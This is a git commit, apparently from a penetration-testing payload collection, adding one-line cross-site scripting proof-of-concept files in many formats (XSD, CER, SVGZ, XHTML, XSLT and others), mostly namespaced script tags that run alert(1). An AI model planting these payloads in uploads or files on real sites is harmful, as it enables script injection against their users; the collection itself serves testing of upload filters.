XSS in several filetype based on @__Mn1__ blogpost

juancv · Mar 26, 2019 · bbc9029 · bbc9029
1 parent 90b182f
commit bbc9029
Show file tree

Hide file tree

Showing 18 changed files with 18 additions and 1 deletion.
diff --git a/XSS Injection/Files/xml.xsd b/XSS Injection/Files/xml.xsd
@@ -0,0 +1 @@
+<a:script xmlns:a="http://www.w3.org/1999/xhtml">alert(1)</a:script>
diff --git a/XSS Injection/Files/xss.cer b/XSS Injection/Files/xss.cer
@@ -0,0 +1 @@
+<script>alert(1)</script>
diff --git a/XSS Injection/Files/xss.dtd b/XSS Injection/Files/xss.dtd
@@ -0,0 +1 @@
+<a:script xmlns:a="http://www.w3.org/1999/xhtml">alert(1)</a:script>
diff --git a/XSS Injection/Files/xss.htm b/XSS Injection/Files/xss.htm
@@ -0,0 +1 @@
+<script>alert(1)</script>
diff --git a/XSS Injection/Files/xss.html.demo b/XSS Injection/Files/xss.html.demo
@@ -0,0 +1 @@
+<a:script xmlns:a="http://www.w3.org/1999/xhtml">alert(1)</a:script>
diff --git a/XSS Injection/Files/xss.hxt b/XSS Injection/Files/xss.hxt
@@ -0,0 +1 @@
+<script>alert(1)</script>
diff --git a/XSS Injection/Files/xss.mno b/XSS Injection/Files/xss.mno
@@ -0,0 +1 @@
+<a:script xmlns:a="http://www.w3.org/1999/xhtml">alert(1337)</a:script>
diff --git a/XSS Injection/Files/xss.rdf b/XSS Injection/Files/xss.rdf
@@ -0,0 +1 @@
+<a:script xmlns:a="http://www.w3.org/1999/xhtml">alert(1)</a:script>
diff --git a/XSS Injection/Files/xss.svgz b/XSS Injection/Files/xss.svgz
@@ -0,0 +1 @@
+<a:script xmlns:a="http://www.w3.org/1999/xhtml">alert(1)</a:script>
diff --git a/XSS Injection/Files/xss.vml b/XSS Injection/Files/xss.vml
@@ -0,0 +1 @@
+<a:script xmlns:a="http://www.w3.org/1999/xhtml">alert(1)</a:script>
diff --git a/XSS Injection/Files/xss.wsdl b/XSS Injection/Files/xss.wsdl
@@ -0,0 +1 @@
+<a:script xmlns:a="http://www.w3.org/1999/xhtml">alert(1)</a:script>
diff --git a/XSS Injection/Files/xss.xht b/XSS Injection/Files/xss.xht
@@ -0,0 +1 @@
+<a:script xmlns:a="http://www.w3.org/1999/xhtml">alert(1)</a:script>
diff --git a/XSS Injection/Files/xss.xhtml b/XSS Injection/Files/xss.xhtml
@@ -0,0 +1 @@
+<a:script xmlns:a="http://www.w3.org/1999/xhtml">alert(1)</a:script>
diff --git a/XSS Injection/Files/XML XSS.xml → XSS Injection/Files/xss.xml b/XSS Injection/Files/XML XSS.xml → XSS Injection/Files/xss.xml
@@ -2,7 +2,7 @@
 	<head></head>
 	<body>
 		<something:script xmlns:something="http://www.w3.org/1999/xhtml">alert(1)</something:script>
-
+		<a:script xmlns:a="http://www.w3.org/1999/xhtml">alert(2)</a:script>
 		<info>
 		  <name>
 		    <value><![CDATA[<script>confirm(document.domain)</script>]]></value>

diff --git a/XSS Injection/Files/xss.xsd b/XSS Injection/Files/xss.xsd
@@ -0,0 +1 @@
+<a:script xmlns:a="http://www.w3.org/1999/xhtml">alert(1)</a:script>
diff --git a/XSS Injection/Files/xss.xsf b/XSS Injection/Files/xss.xsf
@@ -0,0 +1 @@
+<a:script xmlns:a="http://www.w3.org/1999/xhtml">alert(1)</a:script>
diff --git a/XSS Injection/Files/xss.xsl b/XSS Injection/Files/xss.xsl
@@ -0,0 +1 @@
+<a:script xmlns:a="http://www.w3.org/1999/xhtml">alert(1)</a:script>
diff --git a/XSS Injection/Files/xss.xslt b/XSS Injection/Files/xss.xslt
@@ -0,0 +1 @@
+<a:script xmlns:a="http://www.w3.org/1999/xhtml">alert(1)</a:script>
Original file line number	Diff line number	Diff line change
		@@ -0,0 +1 @@
		<a:script xmlns:a="http://www.w3.org/1999/xhtml">alert(1)</a:script>